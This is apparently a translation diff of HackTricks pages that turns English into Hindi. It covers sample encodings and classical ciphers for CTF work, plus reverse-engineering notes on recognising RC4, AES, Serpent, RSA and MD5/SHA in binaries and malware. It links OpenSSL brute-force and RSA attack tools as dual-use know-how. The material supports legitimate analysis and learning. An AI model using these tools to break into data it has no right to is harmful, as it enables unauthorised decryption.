- `59DPVDGPCVKEUPCPVD`
|
||||
- `59DPVDGPCVKEUPCPVD`
|
||||
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- **Base62** \[_0-9A-Za-z_]
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- **Base64** \[_A-Za-z0-9+/=_]
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- **Base100** \[]
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- **Base122** \[]
|
||||
- `4F ˂r0Xmvc`
|
||||
- `4F ˂r0Xmvc`
|
||||
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- **ESAB46** \[]
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- **MEGAN45** \[]
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- **TIGO3FX** \[]
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- **TRIPO5** \[]
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- **FERON74** \[]
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- **GILA7** \[]
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- **Citrix CTX1** \[]
|
||||
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||
|
||||
```
|
||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||
```
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 मृत: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html)
|
||||
|
||||
### Morse
|
||||
|
||||
### मोर्स
|
||||
```
|
||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||
```
|
||||
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 मृत: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### UUencoder
|
||||
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(
|
||||
@ -142,96 +137,79 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$`
|
||||
`
|
||||
end
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu)
|
||||
|
||||
### XXEncoder
|
||||
|
||||
```
|
||||
begin 644 webutils_pl
|
||||
hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236
|
||||
5Hol-G2xAEE++
|
||||
end
|
||||
```
|
||||
|
||||
- [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx)
|
||||
|
||||
### YEncoder
|
||||
|
||||
```
|
||||
=ybegin line=128 size=28 name=webutils_pl
|
||||
ryvkryvkryvkryvkryvkryvkryvk
|
||||
=yend size=28 crc32=35834c86
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc)
|
||||
|
||||
### BinHex
|
||||
|
||||
### बिनहैक्स
|
||||
```
|
||||
(This file must be converted with BinHex 4.0)
|
||||
:#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p
|
||||
-38K26%'d9J!!:
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex)
|
||||
|
||||
### ASCII85
|
||||
|
||||
```
|
||||
<~85DoF85DoF85DoF85DoF85DoF85DoF~>
|
||||
```
|
||||
|
||||
- [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85)
|
||||
|
||||
### Dvorak keyboard
|
||||
|
||||
### ड्वोरक कीबोर्ड
|
||||
```
|
||||
drnajapajrna
|
||||
```
|
||||
|
||||
- [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard)
|
||||
|
||||
### A1Z26
|
||||
|
||||
Letters to their numerical value
|
||||
|
||||
अक्षरों को उनके संख्यात्मक मान में बदलना
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
|
||||
### Affine Cipher Encode
|
||||
|
||||
Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter
|
||||
|
||||
अक्षर को संख्या `(ax+b)%26` (_a_ और _b_ कुंजी हैं और _x_ अक्षर है) और परिणाम को फिर से अक्षर में।
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### SMS कोड
|
||||
|
||||
### SMS Code
|
||||
**Multitap** [एक अक्षर को बदलता है](https://www.dcode.fr/word-letter-change) मोबाइल [फोन कीपैड](https://www.dcode.fr/phone-keypad-cipher) पर संबंधित कुंजी कोड द्वारा परिभाषित दोहराए गए अंकों से (यह मोड SMS लिखते समय उपयोग किया जाता है)।\
|
||||
उदाहरण के लिए: 2=A, 22=B, 222=C, 3=D...\
|
||||
आप इस कोड की पहचान कर सकते हैं क्योंकि आप\*\* कई अंकों को दोहराते हुए देखेंगे\*\*।
|
||||
|
||||
**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\
|
||||
For example: 2=A, 22=B, 222=C, 3=D...\
|
||||
You can identify this code because you will see\*\* several numbers repeated\*\*.
|
||||
आप इस कोड को डिकोड कर सकते हैं: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
### Bacon Code
|
||||
|
||||
Substitude each letter for 4 As or Bs (or 1s and 0s)
|
||||
### बेकन कोड
|
||||
|
||||
प्रत्येक अक्षर को 4 A या B (या 1s और 0s) से बदलें
|
||||
```
|
||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
```
|
||||
|
||||
### Runes
|
||||
|
||||
|
||||
|
||||
## Compression
|
||||
|
||||
**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers.
|
||||
**Raw Deflate** और **Raw Inflate** (आप दोनों को Cyberchef में पा सकते हैं) डेटा को बिना हेडर के संकुचित और असंकुचित कर सकते हैं।
|
||||
|
||||
## Easy Crypto
|
||||
|
||||
@ -241,30 +219,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||
|
||||
### Bifid
|
||||
|
||||
A keywork is needed
|
||||
|
||||
एक कीवर्ड की आवश्यकता है
|
||||
```
|
||||
fgaargaamnlunesuneoa
|
||||
```
|
||||
|
||||
### Vigenere
|
||||
|
||||
A keywork is needed
|
||||
|
||||
एक कुंजी शब्द की आवश्यकता है
|
||||
```
|
||||
wodsyoidrods
|
||||
```
|
||||
|
||||
- [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)
|
||||
- [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher)
|
||||
- [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx)
|
||||
|
||||
## Strong Crypto
|
||||
## मजबूत क्रिप्टो
|
||||
|
||||
### Fernet
|
||||
|
||||
2 base64 strings (token and key)
|
||||
### फर्नेट
|
||||
|
||||
2 बेस64 स्ट्रिंग (टोकन और कुंजी)
|
||||
```
|
||||
Token:
|
||||
gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q==
|
||||
@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC
|
||||
Key:
|
||||
-s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI=
|
||||
```
|
||||
|
||||
- [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode)
|
||||
|
||||
### Samir Secret Sharing
|
||||
|
||||
A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_).
|
||||
### समीर गुप्त साझाकरण
|
||||
|
||||
एक गुप्त को X भागों में विभाजित किया जाता है और इसे पुनर्प्राप्त करने के लिए आपको Y भागों की आवश्यकता होती है (_Y <=X_).
|
||||
```
|
||||
8019f8fa5879aa3e07858d08308dc1a8b45
|
||||
80223035713295bddf0b0bd1b10a5340b89
|
||||
803bc8cf294b3f83d88e86d9818792e80cd
|
||||
```
|
||||
|
||||
[http://christian.gen.co/secrets/](http://christian.gen.co/secrets/)
|
||||
|
||||
### OpenSSL brute-force
|
||||
### OpenSSL ब्रूट-फोर्स
|
||||
|
||||
- [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl)
|
||||
- [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF)
|
||||
|
||||
## Tools
|
||||
## उपकरण
|
||||
|
||||
- [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
|
||||
- [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom)
|
||||
|
||||
@ -1,184 +1,184 @@
|
||||
# Cryptographic/Compression Algorithms
|
||||
# क्रिप्टोग्राफिक/संपीड़न एल्गोरिदम
|
||||
|
||||
## Cryptographic/Compression Algorithms
|
||||
## क्रिप्टोग्राफिक/संपीड़न एल्गोरिदम
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifying Algorithms
|
||||
## एल्गोरिदम की पहचान करना
|
||||
|
||||
If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
|
||||
यदि आप एक कोड में **शिफ्ट दाएं और बाएं, XOR और कई अंकगणितीय संचालन** का उपयोग करते हैं, तो यह अत्यधिक संभव है कि यह एक **क्रिप्टोग्राफिक एल्गोरिदम** का कार्यान्वयन है। यहाँ कुछ तरीके दिखाए जाएंगे **जिससे आप बिना प्रत्येक चरण को उलटने की आवश्यकता के एल्गोरिदम की पहचान कर सकते हैं**।
|
||||
|
||||
### API functions
|
||||
### API फ़ंक्शन
|
||||
|
||||
**CryptDeriveKey**
|
||||
|
||||
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
यदि इस फ़ंक्शन का उपयोग किया गया है, तो आप दूसरे पैरामीटर के मान की जांच करके यह पता लगा सकते हैं कि **कौन सा एल्गोरिदम उपयोग किया जा रहा है**:
|
||||
|
||||
.png>)
|
||||
|
||||
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
संभावित एल्गोरिदम और उनके असाइन किए गए मानों की तालिका यहाँ देखें: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
**RtlCompressBuffer/RtlDecompressBuffer**
|
||||
|
||||
Compresses and decompresses a given buffer of data.
|
||||
एक दिए गए डेटा बफर को संकुचित और अनसंकुचित करता है।
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
|
||||
[दस्तावेज़ों से](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): **CryptAcquireContext** फ़ंक्शन का उपयोग एक विशेष कुंजी कंटेनर के लिए हैंडल प्राप्त करने के लिए किया जाता है जो एक विशेष क्रिप्टोग्राफिक सेवा प्रदाता (CSP) के भीतर है। **यह लौटाया गया हैंडल उन CryptoAPI** फ़ंक्शनों में कॉल करने के लिए उपयोग किया जाता है जो चयनित CSP का उपयोग करते हैं।
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
|
||||
डेटा के एक स्ट्रीम का हैशिंग शुरू करता है। यदि इस फ़ंक्शन का उपयोग किया गया है, तो आप दूसरे पैरामीटर के मान की जांच करके यह पता लगा सकते हैं कि **कौन सा एल्गोरिदम उपयोग किया जा रहा है**:
|
||||
|
||||
.png>)
|
||||
|
||||
\
|
||||
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
संभावित एल्गोरिदम और उनके असाइन किए गए मानों की तालिका यहाँ देखें: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Code constants
|
||||
### कोड स्थिरांक
|
||||
|
||||
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
|
||||
कभी-कभी एक एल्गोरिदम की पहचान करना वास्तव में आसान होता है क्योंकि इसे एक विशेष और अद्वितीय मान का उपयोग करने की आवश्यकता होती है।
|
||||
|
||||
.png>)
|
||||
|
||||
If you search for the first constant in Google this is what you get:
|
||||
यदि आप Google में पहले स्थिरांक की खोज करते हैं, तो आपको यह मिलता है:
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
|
||||
You can search any of the other constants and you will obtain (probably) the same result.
|
||||
इसलिए, आप मान सकते हैं कि डिकंपाइल किया गया फ़ंक्शन एक **sha256 कैलकुलेटर है।**\
|
||||
आप अन्य स्थिरांकों में से किसी की भी खोज कर सकते हैं और आपको (संभवतः) वही परिणाम प्राप्त होगा।
|
||||
|
||||
### data info
|
||||
### डेटा जानकारी
|
||||
|
||||
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
|
||||
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
|
||||
यदि कोड में कोई महत्वपूर्ण स्थिरांक नहीं है, तो यह **.data सेक्शन से जानकारी लोड कर रहा हो सकता है**।\
|
||||
आप उस डेटा तक पहुँच सकते हैं, **पहले DWORD को समूहित करें** और इसे Google में खोजें जैसा कि हमने पिछले अनुभाग में किया था:
|
||||
|
||||
.png>)
|
||||
|
||||
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
|
||||
इस मामले में, यदि आप **0xA56363C6** की खोज करते हैं, तो आप देख सकते हैं कि यह **AES एल्गोरिदम की तालिकाओं** से संबंधित है।
|
||||
|
||||
## RC4 **(Symmetric Crypt)**
|
||||
## RC4 **(समानांतर क्रिप्ट)**
|
||||
|
||||
### Characteristics
|
||||
### विशेषताएँ
|
||||
|
||||
It's composed of 3 main parts:
|
||||
यह 3 मुख्य भागों में विभाजित है:
|
||||
|
||||
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
|
||||
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
|
||||
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
|
||||
- **आरंभिक चरण/**: **0x00 से 0xFF** (कुल 256 बाइट, 0x100) के मानों की एक **तालिका** बनाता है। इस तालिका को सामान्यतः **सब्स्टिट्यूशन बॉक्स** (या SBox) कहा जाता है।
|
||||
- **स्क्रैम्बलिंग चरण**: पहले बनाई गई तालिका के माध्यम से **लूप करेगा** (0x100 पुनरावृत्तियों का लूप, फिर से) प्रत्येक मान को **सेमी-रैंडम** बाइट्स के साथ संशोधित करेगा। इन सेमी-रैंडम बाइट्स को बनाने के लिए, RC4 **कुंजी का उपयोग किया जाता है**। RC4 **कुंजी** की लंबाई **1 से 256 बाइट** के बीच हो सकती है, हालाँकि आमतौर पर इसे 5 बाइट से अधिक होना अनुशंसित है। सामान्यतः, RC4 कुंजी 16 बाइट लंबी होती है।
|
||||
- **XOR चरण**: अंततः, प्लेन-टेक्स्ट या सिफरटेक्स को **पहले बनाए गए मानों के साथ XOR किया जाता है**। एन्क्रिप्ट और डिक्रिप्ट करने के लिए फ़ंक्शन वही होता है। इसके लिए, **बनाए गए 256 बाइट्स के माध्यम से लूप किया जाएगा** जितनी बार आवश्यक हो। इसे आमतौर पर डिकंपाइल किए गए कोड में **%256 (mod 256)** के साथ पहचाना जाता है।
|
||||
|
||||
> [!NOTE]
|
||||
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
|
||||
> **डिस्सेम्बली/डिकंपाइल किए गए कोड में RC4 की पहचान करने के लिए, आप 0x100 के आकार के 2 लूप की जांच कर सकते हैं (कुंजी के उपयोग के साथ) और फिर इन 2 लूप में पहले बनाए गए 256 मानों के साथ इनपुट डेटा का XOR संभवतः %256 (mod 256) का उपयोग करते हुए।**
|
||||
|
||||
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
|
||||
### **आरंभिक चरण/सब्स्टिट्यूशन बॉक्स:** (गिनती के रूप में उपयोग किए गए 256 संख्या और 256 वर्णों के प्रत्येक स्थान पर 0 कैसे लिखा गया है, पर ध्यान दें)
|
||||
|
||||
.png>)
|
||||
|
||||
### **Scrambling Stage:**
|
||||
### **स्क्रैम्बलिंग चरण:**
|
||||
|
||||
.png>)
|
||||
|
||||
### **XOR Stage:**
|
||||
### **XOR चरण:**
|
||||
|
||||
.png>)
|
||||
|
||||
## **AES (Symmetric Crypt)**
|
||||
## **AES (समानांतर क्रिप्ट)**
|
||||
|
||||
### **Characteristics**
|
||||
### **विशेषताएँ**
|
||||
|
||||
- Use of **substitution boxes and lookup tables**
|
||||
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
|
||||
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
|
||||
- **सब्स्टिट्यूशन बॉक्स और लुकअप तालिकाओं** का उपयोग
|
||||
- **विशिष्ट लुकअप तालिका मानों** (स्थिरांक) के उपयोग के कारण **AES को पहचानना संभव है**। _ध्यान दें कि **स्थिरांक** को **बाइनरी में** _या_ _**डायनामिकली**_ _**स्टोर** किया जा सकता है।_
|
||||
- **एन्क्रिप्शन कुंजी** को **16** से **भाग दिया जाना चाहिए** (आमतौर पर 32B) और आमतौर पर 16B का **IV** उपयोग किया जाता है।
|
||||
|
||||
### SBox constants
|
||||
### SBox स्थिरांक
|
||||
|
||||
.png>)
|
||||
|
||||
## Serpent **(Symmetric Crypt)**
|
||||
## सर्पेंट **(समानांतर क्रिप्ट)**
|
||||
|
||||
### Characteristics
|
||||
### विशेषताएँ
|
||||
|
||||
- It's rare to find some malware using it but there are examples (Ursnif)
|
||||
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
|
||||
- इसे उपयोग करने वाले कुछ मैलवेयर मिलना दुर्लभ है लेकिन इसके उदाहरण हैं (Ursnif)
|
||||
- इसकी लंबाई (अत्यधिक लंबा फ़ंक्शन) के आधार पर यह निर्धारित करना सरल है कि एल्गोरिदम सर्पेंट है या नहीं।
|
||||
|
||||
### Identifying
|
||||
### पहचानना
|
||||
|
||||
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
|
||||
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
|
||||
अगली छवि में ध्यान दें कि स्थिरांक **0x9E3779B9** का उपयोग किया गया है (ध्यान दें कि यह स्थिरांक अन्य क्रिप्टो एल्गोरिदम जैसे **TEA** -Tiny Encryption Algorithm द्वारा भी उपयोग किया जाता है)।\
|
||||
लूप का **आकार** (**132**) और **डिस्सेम्बली** निर्देशों में और **कोड** उदाहरण में XOR संचालन की **संख्या** पर भी ध्यान दें:
|
||||
|
||||
.png>)
|
||||
|
||||
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
|
||||
जैसा कि पहले उल्लेख किया गया था, इस कोड को किसी भी डिकंपाइलर के अंदर एक **बहुत लंबे फ़ंक्शन** के रूप में देखा जा सकता है क्योंकि इसके अंदर **कोई कूद** नहीं है। डिकंपाइल किया गया कोड निम्नलिखित की तरह दिख सकता है:
|
||||
|
||||
.png>)
|
||||
|
||||
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
|
||||
इसलिए, आप **जादुई संख्या** और **प्रारंभिक XORs** की जांच करके इस एल्गोरिदम की पहचान कर सकते हैं, एक **बहुत लंबे फ़ंक्शन** को देख सकते हैं और **कुछ निर्देशों** की **तुलना** कर सकते हैं **लंबे फ़ंक्शन** के साथ **एक कार्यान्वयन** (जैसे 7 द्वारा बाएं शिफ्ट और 22 द्वारा बाएं घुमाना)।
|
||||
|
||||
## RSA **(Asymmetric Crypt)**
|
||||
## RSA **(असमानांतर क्रिप्ट)**
|
||||
|
||||
### Characteristics
|
||||
### विशेषताएँ
|
||||
|
||||
- More complex than symmetric algorithms
|
||||
- There are no constants! (custom implementation are difficult to determine)
|
||||
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
|
||||
- समानांतर एल्गोरिदम की तुलना में अधिक जटिल
|
||||
- कोई स्थिरांक नहीं! (कस्टम कार्यान्वयन को निर्धारित करना कठिन है)
|
||||
- KANAL (एक क्रिप्टो विश्लेषक) RSA पर संकेत दिखाने में विफल रहता है क्योंकि यह स्थिरांकों पर निर्भर करता है।
|
||||
|
||||
### Identifying by comparisons
|
||||
### तुलना द्वारा पहचानना
|
||||
|
||||
.png>)
|
||||
|
||||
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
|
||||
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
|
||||
- लाइन 11 (बाएं) में `+7) >> 3` है जो लाइन 35 (दाएं) में समान है: `+7) / 8`
|
||||
- लाइन 12 (बाएं) यह जांच रही है कि `modulus_len < 0x040` और लाइन 36 (दाएं) यह जांच रही है कि `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (hash)
|
||||
## MD5 & SHA (हैश)
|
||||
|
||||
### Characteristics
|
||||
### विशेषताएँ
|
||||
|
||||
- 3 functions: Init, Update, Final
|
||||
- Similar initialize functions
|
||||
- 3 फ़ंक्शन: Init, Update, Final
|
||||
- समान प्रारंभिक फ़ंक्शन
|
||||
|
||||
### Identify
|
||||
### पहचानें
|
||||
|
||||
**Init**
|
||||
|
||||
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
|
||||
आप स्थिरांकों की जांच करके दोनों की पहचान कर सकते हैं। ध्यान दें कि sha_init में 1 स्थिरांक है जो MD5 में नहीं है:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transform**
|
||||
|
||||
Note the use of more constants
|
||||
